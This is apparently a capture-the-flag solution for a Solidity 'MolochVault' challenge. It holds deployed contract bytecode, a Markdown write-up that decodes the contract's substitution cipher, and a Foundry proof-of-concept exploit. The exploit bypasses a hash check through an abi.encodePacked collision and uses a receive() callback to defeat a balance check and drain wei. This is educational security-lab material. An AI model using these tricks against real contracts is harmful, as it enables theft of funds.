610fee565b80601f01602080910402602001604051908101604052809291908181526020018280546108b190610fee565b80156108fe5780601f106108d3576101008083540402835291602001916108fe565b820191906000526020600020905b8154815290600101906020018083116108e157829003601f168201915b505050505081525050815260200190600101906107fc565b505050509050600081519050600060405180604001604052808773ffffffffffffffffffffffffffffffffffffffff168152602001868152509050600481908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010190816109d99190611628565b5050506000600480549050905060006001905083821015610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2690611746565b60405180910390fd5b80610a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a66906117b2565b60405180910390fd5b809550505050505092915050565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b610aa481610a91565b8114610aaf57600080fd5b50565b600081359050610ac181610a9b565b92915050565b600060208284031215610add57610adc610a87565b5b6000610aeb84828501610ab2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610b2e578082015181840152602081019050610b13565b60008484015250505050565b6000601f19601f8301169050919050565b6000610b5682610af4565b610b608185610aff565b9350610b70818560208601610b10565b610b7981610b3a565b840191505092915050565b60006020820190508181036000830152610b9e8184610b4b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610bd182610ba6565b9050919050565b610be181610bc6565b8114610bec57600080fd5b50565b600081359050610bfe81610bd8565b92915050565b600060208284031215610c1a57610c19610a87565b5b6000610c2884828501610bef565b91505092915050565b60008115159050919050565b610c4681610c31565b82525050565b6000602082019050610c616000830184610c3d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610ca482610b3a565b810181811067ffffffffffffffff82111715610cc357610cc2610c6c565b5b80604052505050565b6000610cd6610a7d565b9050610ce28282610c9b565b919050565b600067ffffffffffffffff821115610d0257610d01610c6c565b5b602082029050919050565b600080fd5b600080fd5b600067ffffffffffffffff821115610d3257610d31610c6c565b5b610d3b82610b3a565b9050602081019050919050565b82818337600083830152505050565b6000610d6a610d6584610d17565b610ccc565b905082815260208101848484011115610d8657610d85610d12565b5b610d91848285610d48565b509392505050565b600082601f830112610dae57610dad610c67565b5b8135610dbe848260208601610d57565b91505092915050565b6000610dda610dd584610ce7565b610ccc565b90508060208402830185811115610df457610df3610d0d565b5b835b81811015610e3b57803567ffffffffffffffff811115610e1957610e18610c67565b5b808601610e268982610d99565b85526020850194505050602081019050610df6565b5050509392505050565b600082601f830112610e5a57610e59610c67565b5b6003610e67848285610dc7565b91505092915050565b600060208284031215610e8657610e85610a87565b5b600082013567ffffffffffffffff811115610ea457610ea3610a8c565b5b610eb084828501610e45565b91505092915050565b6000610ec482610ba6565b9050919050565b610ed481610eb9565b82525050565b6000604082019050610eef6000830185610ecb565b8181036020830152610f018184610b4b565b90509392505050565b610f1381610eb9565b8114610f1e57600080fd5b50565b600081359050610f3081610f0a565b92915050565b600060208284031215610f4c57610f4b610a87565b5b6000610f5a84828501610f21565b91505092915050565b60008060408385031215610f7a57610f79610a87565b5b6000610f8885828601610f21565b925050602083013567ffffffffffffffff811115610fa957610fa8610a8c565b5b610fb585828601610d99565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061100657607f821691505b60208210810361101957611018610fbf565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f7375636365737300000000000000000000000000000000000000000000000000600082015250565b6000611084600783610aff565b915061108f8261104e565b602082019050919050565b600060208201905081810360008301526110b381611077565b9050919050565b600081905092915050565b60006110d082610af4565b6110da81856110ba565b93506110ea818560208601610b10565b80840191505092915050565b600061110282856110c5565b915061110e82846110c5565b91508190509392505050565b7f4861686168616861212100000000000000000000000000000000000000000000600082015250565b6000611150600a83610aff565b915061115b8261111a565b602082019050919050565b6000602082019050818103600083015261117f81611143565b9050919050565b60008190508160005260206000209050919050565b600081546111a881610fee565b6111b28186610aff565b945060018216600081146111cd57600181146111e357611216565b60ff198316865281151560200286019350611216565b6111ec85611186565b60005b8381101561120e578154818901526001820191506020810190506111ef565b808801955050505b50505092915050565b60006020820190508181036000830152611239818461119b565b905092915050565b7f6772616e74206177617264656421210000000000000000000000000000000000600082015250565b6000611277600f83610aff565b915061128282611241565b602082019050919050565b600060208201905081810360008301526112a68161126a565b9050919050565b600081905092915050565b50565b60006112c86000836112ad565b91506112d3826112b8565b600082019050919050565b60006112e9826112bb565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061132d82610a91565b915061133883610a91565b92508282039050818111156113505761134f6112f3565b5b92915050565b7f73616372696669636520796f7572207368616c6c6f7720646573697265730000600082015250565b600061138c601e83610aff565b915061139782611356565b602082019050919050565b600060208201905081810360008301526113bb8161137f565b9050919050565b60008160601b9050919050565b60006113da826113c2565b9050919050565b60006113ec826113cf565b9050919050565b6114046113ff82610bc6565b6113e1565b82525050565b600061141682846113f3565b60148201915081905092915050565b7f4661722024726d20737563636573732121000000000000000000000000000000600082015250565b600061145b601183610aff565b915061146682611425565b602082019050919050565b6000602082019050818103600083015261148a8161144e565b9050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026114de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826114a1565b6114e886836114a1565b95508019841693508086168417925050509392505050565b6000819050919050565b600061152561152061151b84610a91565b611500565b610a91565b9050919050565b6000819050919050565b61153f8361150a565b61155361154b8261152c565b8484546114ae565b825550505050565b600090565b61156861155b565b611573818484611536565b505050565b5b818110156115975761158c600082611560565b600181019050611579565b5050565b601f8211156115dc576115ad81611186565b6115b684611491565b810160208510156115c5578190505b6115d96115d185611491565b830182611578565b50505b505050565b600082821c905092915050565b60006115ff600019846008026115e1565b1980831691505092915050565b600061161883836115ee565b9150826002028217905092915050565b61163182610af4565b67ffffffffffffffff81111561164a57611649610c6c565b5b6116548254610fee565b61165f82828561159b565b600060209050601f8311600181146116925760008415611680578287015190505b61168a858261160c565b8655506116f2565b601f1984166116a086611186565b60005b828110156116c8578489015182556001820191506020850194506020810190506116a3565b868310156116e557848901516116e1601f8916826115ee565b8355505b6001600288020188555050505b505050505050565b7f4e6f6e6520616464656400000000000000000000000000000000000000000000600082015250565b6000611730600a83610aff565b915061173b826116fa565b602082019050919050565b6000602082019050818103600083015261175f81611723565b9050919050565b7f537461747573206465636c696e65640000000000000000000000000000000000600082015250565b600061179c600f83610aff565b91506117a782611766565b602082019050919050565b600060208201905081810360008301526117cb8161178f565b905091905056fea264697066735822122092954e6f9dc5cff5ad5461a377032c041610b194044518b51f4a566ffadc771d64736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb20000000000000000000000004b20993bc481177ec7e8f571cecae8a9e22c02db00000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000011424c4f4f445920504841524d414349535400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000a57484f20444f20594f5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000653455256453f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000054b434c45510000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009424754474a514e4750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000115a4a515142572a4e4643504b43414b5152000000000000000000000000000000"; 17 | address vault_; 18 | assembly { 19 | vault_ := create(0, add(all, 0x20), mload(all)) 20 | } 21 | vault = MOLOCH_VAULT(payable(vault_)); 22 | 23 | // give vault 1 wei 24 | vm.deal(address(vault), 1 wei); 25 | // give this contract(the attacker) 10 wei 26 | vm.deal(address(this), 1 wei); 27 | 28 | vm.stopPrank(); 29 | } 30 | 31 | function testhack() public { 32 | string[3] memory openSecret; 33 | 34 | openSecret[0] = "BLOODY PHARMACIST"; 35 | openSecret[1] = "WHO DO YOUSERVE?"; 36 | openSecret[2] = ""; 37 | 38 | payBack = true; // need to repay 2 wei to bypass the balance check 39 | vault.uhER778(openSecret); // this should register us as `realHacker` 40 | 41 | payBack = false; // don't pay back 2 wei when receive 1 wei 42 | vault.sendGrant(payable(this)); // get back 1 wei that we send in the `receive()` previously 43 | vault.sendGrant(payable(this)); // steal 1 wei 44 | 45 | // we have 1 wei in the first place, after stealing 1 wei, now we should have 2 wei 46 | require(address(this).balance == 2 wei, "steal 1 wei fail"); 47 | } 48 | 49 | bool payBack; 50 | receive() external payable { 51 | if(payBack) { 52 | (bool success, ) = address(msg.sender).call{value:2 wei}(""); 53 | require(success, "call fail"); 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /MolochVault.md: -------------------------------------------------------------------------------- 1 | # Details of decrypting Moloch-algorithm 2 | We already know two string mappings: 3 | 1. `BLOODY PHARMACIST` 4 | 5 | -> 6 | `ZJQQBW*NFCPKCAKQR` 7 | 8 | 2. `THE FUTURE OF HUMANITY REQUIRES THE SACRIFICE OF YOUR SHALLOW DESIRES` 9 | 10 | -> 11 | `RFG*DWRWPG*QD*FWKCLKRW*PGOWKPGQ*RFG*QCAPKDKAG*QD*WQWP*QFCJJQU*BGQKPGQ` 12 | 13 | (I think there's a missing `OF` between `SACRIFICE` and `YOUR`) 14 | 15 | This is my analysis: 16 | 17 | 1. It looks like a simple shift, because the cipher length is identical to the plain text, and same ouput for same input charactors everywhere, eg: `OO` -> `QQ` 18 | 2. I tried to use a loop to print the delta of each charactor, the delta is 2. 19 | 3. Sometimes it's +2, sometimes -2, I found it is +2 when it's vowel(A/E/I/O/U), otherwise it's -2. 20 | 4. After +/- 2, if it's not in range 'A-Z', rotate it by +/- 26. 21 | 5. If it's space charactor ' ', replace with '*' 22 | 23 | An implementation of the algorithm in Solidity: 24 | ```solidity 25 | 26 | // SPDX-License-Identifier: MIT 27 | pragma solidity ^ 0.8.0; 28 | 29 | contract Test { 30 | function molockAlgo(string memory plain) public pure returns(string memory) { 31 | bytes memory bs = bytes(plain); 32 | bytes memory ret = new bytes(bs.length); 33 | 34 | for(uint i = 0; i < bs.length; i++){ 35 | bytes1 b = bs[i]; 36 | 37 | if (b == 'A' || b=='E'||b== 'I'|| b== 'O'|| b== 'U') { 38 | b = bytes1(uint8(b) + 2); 39 | if (b > 'Z') { 40 | b = bytes1(uint8(b)-26); 41 | } 42 | } else if (b == ' ') { 43 | b = '*'; 44 | } else { 45 | b = bytes1(uint8(b) - 2); 46 | if(b < 'A') { 47 | b = bytes1(uint8(b) + 26); 48 | } 49 | } 50 | ret[i] = b; 51 | } 52 | 53 | return string(ret); 54 | } 55 | } 56 | 57 | ``` 58 | 59 | # constructor parameters 60 | We can simply find the constructor arguments during deployment on [etherescan](https://goerli.etherscan.io/address/0xafb9ed5cd677a1bd5725ca5fcb9a3a0572d94f6f#code). 61 | 62 | There is a decoded view, looks like: 63 | ``` 64 | -----Decoded View--------------- 65 | Arg [0] : molochPass (string): BLOODY PHARMACIST 66 | Arg [1] : _b (string[2]): WHO DO YOU,SERVE? 67 | Arg [2] : a (address[3]): 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2,0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db 68 | Arg [3] : _passss (string[3]): KCLEQ,BGTGJQNGP,ZJQQBW*NFCPKCAKQR 69 | 70 | ``` 71 | # Explain bypass for `keccak256(abi.encodePacked())` 72 | 73 | The function `abi.encodePacked()` can be used to concat strings, 74 | 75 | The `abi.encodePacked("WHO DO YOU", "SERVE?")` is equivalent to ` abi.encodePacked("WHO DO YOUSERVE?", "")`. 76 | 77 | We use this to bypass the check `require(keccak256(abi.encode(_openSecrete[1])) != keccak256(abi.encode(question[0])),"grant awarded!!");` 78 | 79 | # Bypass the balance check 80 | It requires to have more balance right after it send out 1 wei, so we need to send back 2 wei in our `receive()` callback. 81 | # Detailed formula for finding slot of dynamic struct 82 | 83 | Immutable variables don't have a reserved storage slot. 84 | 85 | This is how to access the variable `cabals`: 86 | 87 | The storage layout can be printed with `solc --storage-layout ...sol`, it looks like: 88 | ``` 89 | slot 0: realHacker 90 | slot 1: question 91 | slot 3: cabals <---- here 92 | ``` 93 | For array type, the slot holds the length of it, the first element is at `sha3(slot)`, the element at IndexN can be accessed with: `sha3(slot) + slot_size_of(Cabel)*IndexN` 94 | 95 | For example, to read `cabals[7]`: `sha3(3) + 2*7` 96 | 97 | So, `cabals[7].identity` is `sha3(3) + 2*7 + 0`, the `+ 0` means `identity` is at slot 0, and `cabals[7].password` is `sha3(3) + 2*7 + 1`. 98 | 99 | 100 | # POC (Foundry) 101 | 102 | ```solidity 103 | // SPDX-License-Identifier: MIT 104 | pragma solidity ^0.8.7; 105 | 106 | import "forge-std/Test.sol"; 107 | import "../src/MolochVault.sol"; 108 | 109 | contract SolveMolochVault is Test { 110 | MOLOCH_VAULT vault; 111 | 112 | address deployer = makeAddr("deployer"); 113 | 114 | 115 | function setUp() public { 116 | vm.startPrank(deployer); 117 | // deploy with bytecode copied from etherscan.com 118 | bytes memory all = hex"60e0604052604051620025b8380380620025b883398181016040528101906200002991906200071b565b336040516020016200003c91906200084e565b6040516020818303038152906040528051906020012060808181525050836040516020016200006c9190620008c8565b6040516020818303038152906040528051906020012060c0818152505082600060028110620000a0576200009f620008ec565b5b60200201516001600060028110620000bd57620000bc620008ec565b5b019081620000cc919062000b5b565b5082600160028110620000e457620000e3620008ec565b5b6020020151600180600281106200010057620000ff620008ec565b5b0190816200010f919062000b5b565b506001600060028110620001285762000127620008ec565b5b016001806002811062000140576200013f620008ec565b5b016040516020016200015492919062000cdc565b6040516020818303038152906040528051906020012060a0818152505060005b6003811015620002855760006040518060400160405280858460038110620001a157620001a0620008ec565b5b602002015173ffffffffffffffffffffffffffffffffffffffff168152602001848460038110620001d757620001d6620008ec565b5b60200201518152509050600381908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010190816200026b919062000b5b565b5050505080806200027c9062000d33565b91505062000174565b505050505062000d80565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002f982620002ae565b810181811067ffffffffffffffff821117156200031b576200031a620002bf565b5b80604052505050565b60006200033062000290565b90506200033e8282620002ee565b919050565b600067ffffffffffffffff821115620003615762000360620002bf565b5b6200036c82620002ae565b9050602081019050919050565b60005b83811015620003995780820151818401526020810190506200037c565b60008484015250505050565b6000620003bc620003b68462000343565b62000324565b905082815260208101848484011115620003db57620003da620002a9565b5b620003e884828562000379565b509392505050565b600082601f830112620004085762000407620002a4565b5b81516200041a848260208601620003a5565b91505092915050565b600067ffffffffffffffff821115620004415762000440620002bf565b5b602082029050919050565b600080fd5b600062000468620004628462000423565b62000324565b905080602084028301858111156200048557620004846200044c565b5b835b81811015620004d357805167ffffffffffffffff811115620004ae57620004ad620002a4565b5b808601620004bd8982620003f0565b8552602085019450505060208101905062000487565b5050509392505050565b600082601f830112620004f557620004f4620002a4565b5b60026200050484828562000451565b91505092915050565b600067ffffffffffffffff8211156200052b576200052a620002bf565b5b602082029050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005638262000536565b9050919050565b620005758162000556565b81146200058157600080fd5b50565b60008151905062000595816200056a565b92915050565b6000620005b2620005ac846200050d565b62000324565b90508060208402830185811115620005cf57620005ce6200044c565b5b835b81811015620005fc5780620005e7888262000584565b845260208401935050602081019050620005d1565b5050509392505050565b600082601f8301126200061e576200061d620002a4565b5b60036200062d8482856200059b565b91505092915050565b600067ffffffffffffffff821115620006545762000653620002bf565b5b602082029050919050565b600062000676620006708462000636565b62000324565b905080602084028301858111156200069357620006926200044c565b5b835b81811015620006e157805167ffffffffffffffff811115620006bc57620006bb620002a4565b5b808601620006cb8982620003f0565b8552602085019450505060208101905062000695565b5050509392505050565b600082601f830112620007035762000702620002a4565b5b6003620007128482856200065f565b91505092915050565b60008060008060c085870312156200073857620007376200029a565b5b600085015167ffffffffffffffff8111156200075957620007586200029f565b5b6200076787828801620003f0565b945050602085015167ffffffffffffffff8111156200078b576200078a6200029f565b5b6200079987828801620004dd565b9350506040620007ac8782880162000606565b92505060a085015167ffffffffffffffff811115620007d057620007cf6200029f565b5b620007de87828801620006eb565b91505092959194509250565b6000620007f78262000536565b9050919050565b60008160601b9050919050565b60006200081882620007fe565b9050919050565b60006200082c826200080b565b9050919050565b620008486200084282620007ea565b6200081f565b82525050565b60006200085c828462000833565b60148201915081905092915050565b600081519050919050565b600082825260208201905092915050565b600062000894826200086b565b620008a0818562000876565b9350620008b281856020860162000379565b620008bd81620002ae565b840191505092915050565b60006020820190508181036000830152620008e4818462000887565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200096357607f821691505b6020821081036200097957620009786200091b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009e37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620009a4565b620009ef8683620009a4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a3c62000a3662000a308462000a07565b62000a11565b62000a07565b9050919050565b6000819050919050565b62000a588362000a1b565b62000a7062000a678262000a43565b848454620009b1565b825550505050565b600090565b62000a8762000a78565b62000a9481848462000a4d565b505050565b5b8181101562000abc5762000ab060008262000a7d565b60018101905062000a9a565b5050565b601f82111562000b0b5762000ad5816200097f565b62000ae08462000994565b8101602085101562000af0578190505b62000b0862000aff8562000994565b83018262000a99565b50505b505050565b600082821c905092915050565b600062000b306000198460080262000b10565b1980831691505092915050565b600062000b4b838362000b1d565b9150826002028217905092915050565b62000b66826200086b565b67ffffffffffffffff81111562000b825762000b81620002bf565b5b62000b8e82546200094a565b62000b9b82828562000ac0565b600060209050601f83116001811462000bd3576000841562000bbe578287015190505b62000bca858262000b3d565b86555062000c3a565b601f19841662000be3866200097f565b60005b8281101562000c0d5784890151825560018201915060208501945060208101905062000be6565b8683101562000c2d578489015162000c29601f89168262000b1d565b8355505b6001600288020188555050505b505050505050565b600081905092915050565b6000815462000c5c816200094a565b62000c68818662000c42565b9450600182166000811462000c86576001811462000c9c5762000cd3565b60ff198316865281151582028601935062000cd3565b62000ca7856200097f565b60005b8381101562000ccb5781548189015260018201915060208101905062000caa565b838801955050505b50505092915050565b600062000cea828562000c4d565b915062000cf8828462000c4d565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000d408262000a07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000d755762000d7462000d04565b5b600182019050919050565b60805160a05160c05161180862000db0600039600061029b01526000610364015260006106aa01526118086000f3fe6080604052600436106100595760003560e01c80631e16f68b1461006557806351f002e6146100a2578063639474da146100df5780638be58f20146100fb5780639b9c267914610139578063b57ebebe1461015557610060565b3661006057005b600080fd5b34801561007157600080fd5b5061008c60048036038101906100879190610ac7565b610192565b6040516100999190610b84565b60405180910390f35b3480156100ae57600080fd5b506100c960048036038101906100c49190610c04565b610235565b6040516100d69190610c4c565b60405180910390f35b6100f960048036038101906100f49190610e70565b610255565b005b34801561010757600080fd5b50610122600480360381019061011d9190610ac7565b6105a5565b604051610130929190610eda565b60405180910390f35b610153600480360381019061014e9190610f36565b610681565b005b34801561016157600080fd5b5061017c60048036038101906101779190610f63565b6107d7565b6040516101899190610c4c565b60405180910390f35b600181600281106101a257600080fd5b0160009150905080546101b490610fee565b80601f01602080910402602001604051908101604052809291908181526020018280546101e090610fee565b801561022d5780601f106102025761010080835404028352916020019161022d565b820191906000526020600020905b81548152906001019060200180831161021057829003601f168201915b505050505081565b60006020528060005260406000206000915054906101000a900460ff1681565b60004790508160006003811061026e5761026d61101f565b5b60200201516040516020016102839190610b84565b604051602081830303815290604052805190602001207f00000000000000000000000000000000000000000000000000000000000000001480156102ca575063b2d05e0034105b610309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103009061109a565b60405180910390fd5b8160016003811061031d5761031c61101f565b5b6020020151826002600381106103365761033561101f565b5b602002015160405160200161034c9291906110f6565b604051602081830303815290604052805190602001207f0000000000000000000000000000000000000000000000000000000000000000146103c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ba90611166565b60405180910390fd5b60016000600281106103d8576103d761101f565b5b016040516020016103e9919061121f565b60405160208183030381529060405280519060200120826001600381106104135761041261101f565b5b60200201516040516020016104289190610b84565b604051602081830303815290604052805190602001200361047e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104759061128d565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1660016040516104a5906112de565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50509050806104f557600080fd5b6000479050600183826105089190611322565b14610548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053f906113a2565b60405180910390fd5b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b600481815481106105b557600080fd5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010180546105fe90610fee565b80601f016020809104026020016040519081016040528092919081815260200182805461062a90610fee565b80156106775780601f1061064c57610100808354040283529160200191610677565b820191906000526020600020905b81548152906001019060200180831161065a57829003601f168201915b5050505050905082565b33604051602001610692919061140a565b604051602081830303815290604052805190602001207f0000000000000000000000000000000000000000000000000000000000000000148061071d57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390611471565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166001604051610783906112de565b60006040518083038185875af1925050503d80600081146107c0576040519150601f19603f3d011682016040523d82523d6000602084013e6107c5565b606091505b50509050806107d357600080fd5b5050565b6000806003805480602002602001604051908101604052809291908181526020016000905b8282101561091657838290600052602060002090600202016040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201805461088590610fee565b80601f01602080910402602001604051908101604052809291908181526020018280546108b190610fee565b80156108fe5780601f106108d3576101008083540402835291602001916108fe565b820191906000526020600020905b8154815290600101906020018083116108e157829003601f168201915b505050505081525050815260200190600101906107fc565b505050509050600081519050600060405180604001604052808773ffffffffffffffffffffffffffffffffffffffff168152602001868152509050600481908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010190816109d99190611628565b5050506000600480549050905060006001905083821015610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2690611746565b60405180910390fd5b80610a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a66906117b2565b60405180910390fd5b809550505050505092915050565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b610aa481610a91565b8114610aaf57600080fd5b50565b600081359050610ac181610a9b565b92915050565b600060208284031215610add57610adc610a87565b5b6000610aeb84828501610ab2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610b2e578082015181840152602081019050610b13565b60008484015250505050565b6000601f19601f8301169050919050565b6000610b5682610af4565b610b608185610aff565b9350610b70818560208601610b10565b610b7981610b3a565b840191505092915050565b60006020820190508181036000830152610b9e8184610b4b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610bd182610ba6565b9050919050565b610be181610bc6565b8114610bec57600080fd5b50565b600081359050610bfe81610bd8565b92915050565b600060208284031215610c1a57610c19610a87565b5b6000610c2884828501610bef565b91505092915050565b60008115159050919050565b610c4681610c31565b82525050565b6000602082019050610c616000830184610c3d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610ca482610b3a565b810181811067ffffffffffffffff82111715610cc357610cc2610c6c565b5b80604052505050565b6000610cd6610a7d565b9050610ce28282610c9b565b919050565b600067ffffffffffffffff821115610d0257610d01610c6c565b5b602082029050919050565b600080fd5b600080fd5b600067ffffffffffffffff821115610d3257610d31610c6c565b5b610d3b82610b3a565b9050602081019050919050565b82818337600083830152505050565b6000610d6a610d6584610d17565b610ccc565b905082815260208101848484011115610d8657610d85610d12565b5b610d91848285610d48565b509392505050565b600082601f830112610dae57610dad610c67565b5b8135610dbe848260208601610d57565b91505092915050565b6000610dda610dd584610ce7565b610ccc565b90508060208402830185811115610df457610df3610d0d565b5b835b81811015610e3b57803567ffffffffffffffff811115610e1957610e18610c67565b5b808601610e268982610d99565b85526020850194505050602081019050610df6565b5050509392505050565b600082601f830112610e5a57610e59610c67565b5b6003610e67848285610dc7565b91505092915050565b600060208284031215610e8657610e85610a87565b5b600082013567ffffffffffffffff811115610ea457610ea3610a8c565b5b610eb084828501610e45565b91505092915050565b6000610ec482610ba6565b9050919050565b610ed481610eb9565b82525050565b6000604082019050610eef6000830185610ecb565b8181036020830152610f018184610b4b565b90509392505050565b610f1381610eb9565b8114610f1e57600080fd5b50565b600081359050610f3081610f0a565b92915050565b600060208284031215610f4c57610f4b610a87565b5b6000610f5a84828501610f21565b91505092915050565b60008060408385031215610f7a57610f79610a87565b5b6000610f8885828601610f21565b925050602083013567ffffffffffffffff811115610fa957610fa8610a8c565b5b610fb585828601610d99565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061100657607f821691505b60208210810361101957611018610fbf565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f7375636365737300000000000000000000000000000000000000000000000000600082015250565b6000611084600783610aff565b915061108f8261104e565b602082019050919050565b600060208201905081810360008301526110b381611077565b9050919050565b600081905092915050565b60006110d082610af4565b6110da81856110ba565b93506110ea818560208601610b10565b80840191505092915050565b600061110282856110c5565b915061110e82846110c5565b91508190509392505050565b7f4861686168616861212100000000000000000000000000000000000000000000600082015250565b6000611150600a83610aff565b915061115b8261111a565b602082019050919050565b6000602082019050818103600083015261117f81611143565b9050919050565b60008190508160005260206000209050919050565b600081546111a881610fee565b6111b28186610aff565b945060018216600081146111cd57600181146111e357611216565b60ff198316865281151560200286019350611216565b6111ec85611186565b60005b8381101561120e578154818901526001820191506020810190506111ef565b808801955050505b50505092915050565b60006020820190508181036000830152611239818461119b565b905092915050565b7f6772616e74206177617264656421210000000000000000000000000000000000600082015250565b6000611277600f83610aff565b915061128282611241565b602082019050919050565b600060208201905081810360008301526112a68161126a565b9050919050565b600081905092915050565b50565b60006112c86000836112ad565b91506112d3826112b8565b600082019050919050565b60006112e9826112bb565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061132d82610a91565b915061133883610a91565b92508282039050818111156113505761134f6112f3565b5b92915050565b7f73616372696669636520796f7572207368616c6c6f7720646573697265730000600082015250565b600061138c601e83610aff565b915061139782611356565b602082019050919050565b600060208201905081810360008301526113bb8161137f565b9050919050565b60008160601b9050919050565b60006113da826113c2565b9050919050565b60006113ec826113cf565b9050919050565b6114046113ff82610bc6565b6113e1565b82525050565b600061141682846113f3565b60148201915081905092915050565b7f4661722024726d20737563636573732121000000000000000000000000000000600082015250565b600061145b601183610aff565b915061146682611425565b602082019050919050565b6000602082019050818103600083015261148a8161144e565b9050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026114de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826114a1565b6114e886836114a1565b95508019841693508086168417925050509392505050565b6000819050919050565b600061152561152061151b84610a91565b611500565b610a91565b9050919050565b6000819050919050565b61153f8361150a565b61155361154b8261152c565b8484546114ae565b825550505050565b600090565b61156861155b565b611573818484611536565b505050565b5b818110156115975761158c600082611560565b600181019050611579565b5050565b601f8211156115dc576115ad81611186565b6115b684611491565b810160208510156115c5578190505b6115d96115d185611491565b830182611578565b50505b505050565b600082821c905092915050565b60006115ff600019846008026115e1565b1980831691505092915050565b600061161883836115ee565b9150826002028217905092915050565b61163182610af4565b67ffffffffffffffff81111561164a57611649610c6c565b5b6116548254610fee565b61165f82828561159b565b600060209050601f8311600181146116925760008415611680578287015190505b61168a858261160c565b8655506116f2565b601f1984166116a086611186565b60005b828110156116c8578489015182556001820191506020850194506020810190506116a3565b868310156116e557848901516116e1601f8916826115ee565b8355505b6001600288020188555050505b505050505050565b7f4e6f6e6520616464656400000000000000000000000000000000000000000000600082015250565b6000611730600a83610aff565b915061173b826116fa565b602082019050919050565b6000602082019050818103600083015261175f81611723565b9050919050565b7f537461747573206465636c696e65640000000000000000000000000000000000600082015250565b600061179c600f83610aff565b91506117a782611766565b602082019050919050565b600060208201905081810360008301526117cb8161178f565b905091905056fea264697066735822122092954e6f9dc5cff5ad5461a377032c041610b194044518b51f